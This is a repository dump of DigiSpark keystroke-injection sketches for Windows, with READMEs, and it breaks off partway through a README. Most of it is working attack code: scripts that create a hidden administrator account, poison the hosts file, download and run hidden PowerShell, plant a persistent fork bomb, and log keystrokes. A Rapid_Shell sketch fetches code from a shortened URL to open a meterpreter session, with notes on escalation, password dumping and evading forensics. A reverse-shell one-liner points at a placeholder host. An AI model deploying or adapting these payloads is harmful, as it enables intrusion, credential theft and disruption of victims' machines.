├── CONTRIBUTING.md ├── Create_Account ├── Create_Account.ino └── README.md ├── DNS Poisoner └── DNS_Poisoner.ino ├── Execute_Powershell_Script └── Execute_Powershell_Script.ino ├── Fork_Bomb ├── Fork_Bomb.ino ├── Persistent_Fork_Bomb.ino └── README.md ├── Hi_Chewy ├── Chewbacca.wav ├── Hi_Chewy.ino └── README.md ├── Keylogger └── Κeylogger.ino ├── LICENSE ├── README.md ├── Rapid_Shell ├── README.md ├── Rapid_Shell.ino └── az_qw_convert.sh ├── Reverse_Shell ├── Invoke-PowerShellTcpOneLine.ps1 ├── README.md └── Reverse_Shell.ino ├── RickRoll_Update └── RickRoll_Update.ino ├── Silly_Mouse ├── README.md └── Silly_Mouse.ino ├── Talker └── Talker.ino ├── Wallpaper_Changer └── Wallpaper_Changer.ino ├── Wallpaper_Changer_macOS ├── README.md └── Wallpaper_Changer_macOS ├── Wallpaper_Prank └── Wallpaper_Prank.ino ├── WiFi_Profile_Grabber └── WiFi_Profile_Grabber.ino ├── WiFi_Profile_Mailer ├── README.md ├── WiFi_Profile_Mailer.ino ├── WiFi_Profile_Mailer_New.ino └── Wifi_Profile_Mailer_Update.ino ├── Window_Jammer └── Window_Jammer.ino └── _config.yml /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to DigiSpark-Scripts 2 | 3 | Have you created a brand new awesome DigiSpark HID script? Have you converted a cool USB Rubber Ducky Script to the DigiSpark? 4 | Share it with the community by adding it to our repository! 5 | 6 | # Instructions 7 | 8 | 1. Create / Convert your script. Test it extensively and add tidy comments in it to explain in great detail what the script does. 9 | 2. Fork the repository. 10 | 3. Create a folder named "-nameOfYourScript-" and inside place the -nameOfYourScript-.ino that you created using Arduino IDE. 11 | 4. Create a small README.md file in the same folder describing your scripts function. 12 | 5. Create a pull request by the title "[Script] -nameOfYourScript-" 13 | -------------------------------------------------------------------------------- /Create_Account/Create_Account.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script creates new local user and adds it to "Administrators" group 2 | //Tested on Windows 10 with English(US) keyboard layout 3 | //Created by Michyus | Edited by Elshan 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | DigiKeyboard.delay(1000); 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT); 13 | DigiKeyboard.delay(1000); 14 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 15 | DigiKeyboard.delay(1000); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(1000); 18 | DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | DigiKeyboard.delay(500); 21 | /* I assumed user already have powershell - Try to hide the user account from the login screen*/ 22 | DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" ")); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" ")); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD ")); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 31 | DigiKeyboard.delay(500); 32 | /* end hide user section */ 33 | DigiKeyboard.print("exit"); 34 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 35 | } 36 | 37 | void loop() { 38 | } 39 | -------------------------------------------------------------------------------- /Create_Account/README.md: -------------------------------------------------------------------------------- 1 | # This script does the following: 2 | 1. Starts Command prompt as Administrator 3 | 2. Runs sequence of powershell commands 4 | 1. Stores password in a variable 5 | 2. Creates new local user account 6 | 3. Gives newly created account administrator priviliages 7 | 3. Exits Command prompt 8 | 9 | # Additional information: 10 | - Running time is around 15 seconds(depending on hw and length of user name, password, description...) 11 | - Optionally you can add `-FullName` and `-Description` parameters to give account more believable look: 12 | `New-LocalUser \"accName\" -Password $pass -FullName \"User name\" -Description \"Description of new account\"` 13 | 14 | # Credits 15 | - https://github.com/Michyus -------------------------------------------------------------------------------- /DNS Poisoner/DNS_Poisoner.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | } 4 | 5 | void loop() { 6 | DigiKeyboard.sendKeyStroke(0); 7 | //This opens an administrator command prompt 8 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 9 | DigiKeyboard.sendKeyStroke(KEY_A); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 12 | DigiKeyboard.delay(500); 13 | //Adds the set websites & ips to the hosts file in windows, currently all redirect to dell 14 | DigiKeyboard.println("ECHO 143.166.83.38 www.google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 15 | DigiKeyboard.println("ECHO 143.166.83.38 google.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 16 | DigiKeyboard.println("ECHO 143.166.83.38 www.reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 17 | DigiKeyboard.println("ECHO 143.166.83.38 reddit.com >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 18 | DigiKeyboard.println("ECHO 143.166.83.38 www.amazon.co.uk >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"); 19 | DigiKeyboard.println("ECHO 143.166.83.38 amazon.co.uk >> C:/SYSTEM32/DRIVERS/ETC/HOSTS"); 20 | //clears dns cache 21 | DigiKeyboard.println("ipconfig /flushdns"); 22 | //exits the terminal 23 | DigiKeyboard.println("exit"); 24 | for(;;){ /*empty*/ } 25 | } 26 | -------------------------------------------------------------------------------- /Execute_Powershell_Script/Execute_Powershell_Script.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark scripts downloads and executes a powershell script in hidden mode. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")"); 18 | DigiKeyboard.delay(1000); 19 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); 20 | DigiKeyboard.delay(750); 21 | //If the system hasn't been configured to run scripts, uncomment the lines bellow 22 | //DigiKeyboard.print("powershell Start-Process cmd -Verb runAs"); 23 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | //DigiKeyboard.delay(750); 25 | //DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y); 26 | //DigiKeyboard.delay(750); 27 | //DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"); 28 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | //DigiKeyboard.delay(750); 30 | DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1"); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | for (;;) { 33 | /*empty*/ 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /Fork_Bomb/Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | //This script opens up a Windows command prompt and makes it open up another instance of itself and so on until the machine can take it no more and either locks or crashes. Credits to BlackBoot. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | //Obfuscate the terminal 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | //Run the fork bomb 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("for /l %x in (0,0,0) do start")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | for (;;) { 25 | /*Stops the digispark from running the scipt again*/ 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /Fork_Bomb/Persistent_Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | //This script creates fork.bat file which is then run everytime the computer is powered on. 2 | //Crated by Michyus 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.print("cmd"); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\"")); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("exit"); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | for(;;){ /*empty*/ } 22 | } 23 | -------------------------------------------------------------------------------- /Fork_Bomb/README.md: -------------------------------------------------------------------------------- 1 | # Fork_Bomb 2 | ## This script does the following: 3 | 1. Starts Command prompt 4 | 2. Resizes and changes colors of Command prompt 5 | 3. Executes fork bomb 6 | 7 | # Persistent_Fork_Bomb 8 | ## This script does the following: 9 | 1. Starts Command prompt 10 | 2. Creates fork.bat in Startup directory 11 | 3. Exits 12 | 13 | # Additional information: 14 | - The `for /l %%x in (0, 0, 0) do start` command will run indefinitely. If you want to limit number of cmd instances change it like this(this will start 10 instances): 15 | ```for /l %%x in (1, 1, 10) do start``` 16 | - When using Persistent_Fork_Bomb it usually takes few seconds to get started, this depends on hw and how many other programs are in Startup directory. Still this might be hard to remove. If you are unable to remove it using Windows, try to boot another OS(for example debian from live USB https://www.debian.org/CD/live/), then connect it to the disk with Windows installed on it, and you should be able to remove fork.bat from Startup(This won't work if disk with Windows is encrypted). 17 | 18 | # Credits 19 | - Fork_Bomb: BlackBoot 20 | - Persistent_Fork_Bomb: https://github.com/Michyus 21 | 22 | -------------------------------------------------------------------------------- /Hi_Chewy/Chewbacca.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CedArctic/DigiSpark-Scripts/ba7be0935f88daf5e7d78796dbb1f2eec7061683/Hi_Chewy/Chewbacca.wav -------------------------------------------------------------------------------- /Hi_Chewy/Hi_Chewy.ino: -------------------------------------------------------------------------------- 1 | //Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then 2 | //waits 5 minutes and plays it 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass")); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print(F("start-sleep 300;")); 17 | DigiKeyboard.print(F("irm -uri \"https://github.com/apsecdev/DigiSpark-Scripts/blob/master/Hi_Chewy/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";")); 18 | DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;")); 19 | DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";")); 20 | DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;")); 21 | DigiKeyboard.print(F("$wmplayer.Open($filepath);")); 22 | DigiKeyboard.print(F("Start-Sleep 2;")); 23 | DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;")); 24 | DigiKeyboard.print(F("$wmplayer.Play();")); 25 | DigiKeyboard.print(F("Start-Sleep $duration;")); 26 | DigiKeyboard.print(F("$wmplayer.Stop();")); 27 | DigiKeyboard.print(F("$wmplayer.Close();")); 28 | DigiKeyboard.delay(500); 29 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 30 | for(;;){ /*empty*/ } 31 | } 32 | -------------------------------------------------------------------------------- /Hi_Chewy/README.md: -------------------------------------------------------------------------------- 1 | Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it. 2 | -------------------------------------------------------------------------------- /Keylogger/Κeylogger.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * This DigiKeyboard Script runs dasgoll's Powershell keylogger (https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277) 3 | * for a predefined number of seconds ($timeoutSeconds) and saves the results to mykeypress.txt in 4 | * APPDATA\Local\Temp\mykeypresses.txt. Feel free to chain this script with the logic in WiFi_Profile_Grabber or 5 | * WiFi_Profile_Mailer to retrieve the results. 6 | * 7 | * WARNING: Windows Defender is able to detect this so you will have to chain this after a script disabling Windows Defender. 8 | */ 9 | 10 | #include "DigiKeyboard.h" 11 | void setup() { 12 | //empty 13 | } 14 | void loop() { 15 | // Open Powershell 16 | DigiKeyboard.sendKeyStroke(0); 17 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.print("powershell"); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(5000); 23 | 24 | // Write Keylogger Function 25 | DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n \n $null = New-Item -Path $Path -ItemType File -Force\n\n try\n {\n\n while ($true) {\n Start-Sleep -Milliseconds 40\n \n for ($ascii = 9; $ascii -le 254; $ascii++) {\n $state = $API::GetAsyncKeyState($ascii)\n\n if ($state -eq -32767) {\n $null = [console]::CapsLock\n\n $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n $kbstate = New-Object Byte[] 256\n $checkkbstate = $API::GetKeyboardState($kbstate)\n\n $mychar = New-Object -TypeName System.Text.StringBuilder\n\n $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n if ($success) \n {\n [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n }\n }\n }\n }\n }\n finally\n {\n }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j")); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | for(;;){ /*empty*/ } 29 | } 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 CedArctic 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![alt text](https://cdn.instructables.com/FKP/MAA2/HH2VJNW1/FKPMAA2HH2VJNW1.MEDIUM.jpg "The DigiSpark") 2 | 3 | # DigiSpark-Scripts 4 | This is a set of hand-written DigiSpark sketches for the Arduino IDE that utilize the DigiKeyboard.h library making the DigiSpark to act as a keyboard and execute a variety of actions. If you have found a USB Rubber Ducky scipt that you want to convert to a DigiSpark sketch, you can always use digiQuack, a tool which can be found in my repositories. 5 | 6 | # Instructions 7 | Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/digispark/tutorials/connecting or Seytonic's tutorial: https://youtu.be/fGmGBa-4cYQ. Then download one of scripts (sketches), open them with Arduino IDE, modify them if needed and upload them to the DigiSpark. 8 | 9 | # Script Descriptions 10 | 11 | - **Create_Account**: Creates a new admin account and optionally hides it 12 | - **DNS Poisoner**: Injects lines into the Windows hosts file and redirects URLs to wherever you want 13 | - **Execute_Powershell_Script**: Downloads and executes a powershell script in hidden mode 14 | - **Fork_Bomb**: Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash 15 | - **Rapid_Shell**: Seamlessly executes metasploit payloads through powershell 16 | - **Reverse_Shell**: Opens a netcat reverse shell from a Windows machine to the host 17 | - **RickRoll_Update**: Plays Never Gonna Give you up while performing a fake windows update 18 | - **Silly_Mouse**: Switches primary and secondary mouse buttons, display mouse trails, decreases mouse speed and other mouse related pranks 19 | - **Talker**: Makes the computer speak out a message using powershell 20 | - **Wallpaper_Changer**: Downloads and applies a wallpaper via powershell. 21 | - **Wallpaper_Changer_macOS**: Downloads and applies a wallpaper via applescript on macOS. 22 | - **Wallpaper_Prank**: Takes a screenshot of the desktop, sets it as the wallpaper, hides desktop icons 23 | - **WiFi_Profile_Grabber**: Extracts wifi profiles and saves the csv to a USB drive 24 | - **WiFi_Profile_Mailer**: Writes the wireless network credentials to a csv file and emails it 25 | - **Window_Jammer**: Spams ALT + F4 and CTRL + W key combos to force close all active windows 26 | 27 | # See the scripts in action 28 | 29 | Click the gifs to see the full video 30 | 31 | [![Wifi Stealer](https://j.gifs.com/N9KP5v.gif)](https://www.youtube.com/watch?v=b5E0u4qNH4s) 32 | 33 | [![Wallpaper Prank](https://j.gifs.com/32r7ER.gif)](https://www.youtube.com/watch?v=yHPRZnpxvks) 34 | 35 | # Contributors 36 | 37 | - **samratashok** 38 | - **NassimBentarka** 39 | - **p0wc0w** 40 | - **apsecdev** 41 | - **BlackBoot** 42 | - **Michyus** 43 | - **Vel1khaN** 44 | - **slipperyavocado** 45 | - **bernsteining** 46 | 47 | # Resources 48 | 49 | - USB Rubber Ducky Documentation by hak5darren: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript 50 | 51 | - Digistump DigiSpark Documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h 52 | 53 | - USB Usage IDs by usb.org (page 53): http://www.usb.org/developers/hidpage/Hut1_12v2.pdf 54 | -------------------------------------------------------------------------------- /Rapid_Shell/README.md: -------------------------------------------------------------------------------- 1 | # This script does the following: 2 | 1. Starts Command prompt as Administrator 3 | 2. Run a powershell script which self-creates/opens a metasploit payload seemlessly 4 | 3. Exits letting down everything as it was at the beginning 5 | 6 | - Maximum running time: 30 seconds (+- 5 seconds <--> dependent); 7 | - Exposed time: 15 seconds (means in 50% of time since plugging in the Digispark, the screen will have movement) 8 | 9 | # Additional information: 10 | #### How it works: 11 | The Digispark once it is plugged in will take 5 seconds for the bootloader, and starts its job when the second led lights up, it will first open CMD as administrator using the start menu and create a new file which will be used to trigger the attack and open the shell. 12 | There is another way to open CMD as administrator, which is using the run prompt and running this command: "powershell Start-Process cmd -Verb runAs" but it showed that it takes much time to open the powershell prompt. If you desire to use this method (cmd_2) refer to the comments in the code. 13 | #### Tricks: 14 | - You can reduce the running time by 5-8 seconds by tricking the bootloader, visit [this page](https://digistump.com/wiki/digispark/tricks) for more. 15 | - The powershell script features a 6 seconds screensaver to hide the backdooring process, we will make it possible to disable/enable in the future. 16 | - If the keyboard layout of the target machine is not in QWERTY/English you can use the bash script on a linux machine to convert text from AZERTY <--> QWERTY and vice versa. 17 | 18 | # Known issues: 19 | 20 | Found that my metasploit just sat at "Meterpreter shell 1 opened at....". This could be because it attempts to automatically run the smart_migrate module upon connection. All I did to resolve this was to hit enter to get the msf prompt back, and then connect into the meterpreter session and run smart_migrate automatically. 21 | 22 | Smart_migrate can be found at 23 | 24 | post/windows/manage/smart_migrate 25 | 26 | in the metasploit trunk. Although, be warned - smart_migrate automatically attempts to migrate into explorer.exe which ##DOES NOT## have an administrative privileges. So, you'll have to utilise the post modules to grant yourself admin and eventually even SYSTEM (If you want to dump firefox/chrome/IE passwords, hashes or use mimikatz or WCE to get the wDigest passwords from memory). I'd recommend the bypass_uac or ask modules to grab yourself admin - particularly ask in lower security environments. 27 | 28 | # For the Forensics Conscious: 29 | If you're concerned about remaining undetected on the machine you've got the shell on, then I recommend the following steps: 30 | 31 | 1. Delete tmp.cmd from %TEMP% - You don't want to come back to bite you on the ass once you're done with the machine. 32 | 33 | 2. Kill the powershell.exe process once you've migrated out of it. 34 | 35 | Hope you all enjoy! I know many of you will find good use of this, and as always - use responsibly! 36 | # Credits: 37 | - https://github.com/PowerShellMafia/PowerSploit/ 38 | - https://github.com/nassimosaz 39 | -------------------------------------------------------------------------------- /Rapid_Shell/Rapid_Shell.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | // This script is designed for use on Windows machines with QWERTY as a keyboard layout 3 | // As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout. 4 | // For more scripts checkout: https://git.io/vAGf4 5 | // Developer: NBN | 02/13/2018 @19:00 UTC 6 | void setup() { 7 | // Initialize the digital pin as an output. 8 | pinMode(1, OUTPUT); //LED on Model A 9 | } 10 | void cmd_1() { 11 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(1500); 13 | DigiKeyboard.print("c;d"); 14 | DigiKeyboard.delay(1500); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); 16 | DigiKeyboard.delay(1000); 17 | DigiKeyboard.sendKeyStroke(0); 18 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | } 22 | void cmd_2() { 23 | DigiKeyboard.sendKeyStroke(0); 24 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.println("powershell Start-Process cmd -Verb runAs"); 27 | DigiKeyboard.delay(1500); 28 | DigiKeyboard.sendKeyStroke(0); 29 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | } 33 | // Infinite loop 34 | void loop() { 35 | 36 | DigiKeyboard.sendKeyStroke(0); 37 | DigiKeyboard.delay(500); 38 | digitalWrite(1, HIGH); // LED on <--> Action start 39 | cmd_1(); // Open CMD in Administrator Privileges using METHOD 1 (UNCOMMENT TO USE) 40 | //cmd_2(); // Open CMD in Administrator Privileges using METHOD 2 (UNCOMMENT TO USE) 41 | DigiKeyboard.delay(1500); 42 | DigiKeyboard.println("MODE CON: COLS=15 LINES=1"); 43 | DigiKeyboard.delay(250); 44 | DigiKeyboard.println("cd %TEMP%"); // Change to temp directory 45 | DigiKeyboard.delay(250); 46 | DigiKeyboard.println("copy con tmp.cmd"); // Create the file tmp.cmd 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s"); 49 | DigiKeyboard.delay(250); 50 | DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport -Force""); // Edit both Lhost and Lport according to your setup 51 | DigiKeyboard.delay(250); 52 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms 53 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 54 | DigiKeyboard.delay(500); 55 | DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC) 56 | digitalWrite(1, LOW); // LED off <--> Action end 57 | for(;;){ /*Infinite loop to disconnect device*/ } 58 | } 59 | -------------------------------------------------------------------------------- /Rapid_Shell/az_qw_convert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #!/bin/bash 3 | 4 | #az_qw_convert.sh - Enhanced by NBN - (Case sensitive input) 5 | #Dependencies: sed 6 | 7 | echo "Do you want to convert :\n\n1. QWERTY to AZERTY\n2. AZERTY to QWERTY "; read chx 8 | if test "$chx" -eq "1"; then 9 | sleep .5 10 | echo "Please, insert the text you want to convert in AZERTY"; read txt 11 | sleep .5 12 | echo "$txt" | sed 'y/qQaAzZwWmM,<.;:/aAqQwWzZ,?;.:mM/' | sed "y/4'/'ù/" | sed 'y/123567890-_!@#$%^&*()[{]}¦"?/&é"(-è_çà)°1234567890^¨$£µ%§/' | sed 'y/>\\\//\/*!/' 13 | elif test "$chx" -eq "2"; then 14 | sleep .5 15 | echo "Please, insert the text you want to convert in QWERTY "; read txt 16 | sleep .5 17 | echo "$txt" | sed 'y/aAqQwWzZ,?;.:mM/qQaAzZwWmM,<.;:/' | sed "y/!\//\/>/" | sed 'y/&é"(-è_çà)°1234567890^¨$£µ%§/123567890-_!@#$%^&*()[{]}¦"?/' | sed "y/ù'/'4/" 18 | else 19 | exit 20 | fi 21 | 22 | -------------------------------------------------------------------------------- /Reverse_Shell/Invoke-PowerShellTcpOneLine.ps1: -------------------------------------------------------------------------------- 1 | #A simple and small reverse shell by samratashok's Nishang framework. Change the Host IP Address and Port according to your setup as described in the README file of the script. 2 | #$sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} 3 | -------------------------------------------------------------------------------- /Reverse_Shell/README.md: -------------------------------------------------------------------------------- 1 | # DigiSpark Reverse Shell Script: 2 | This DigiSpark script downloads and executes the Invoke-PowerShellTcpOneLine.ps1 powershell script which essentially opens a netcat reverse shell from a Windows machine to the host computer in about 3 seconds. 3 | 4 | ## Instructions: 5 | ### On the host machine (I assume you are using linux for this): 6 | 1. Open a netcat listener on a port (the script uses port 4444 by default): `nc -lp 4444` 7 | 2. Download and modify the Invoke-PowerShellTcpOneLine.ps1 by removing the first line comment and changing the IP address to the one of your host machine and the port to the one you chose earlier. 8 | 3. You now need to host the payload on a web server so it can be downloaded on the Windows computer. There are many ways to do this, but for anyone who wants a quick and easy solution you can host a php web server from the linux terminal like this: `sudo php -S 0.0.0.0:80 -t 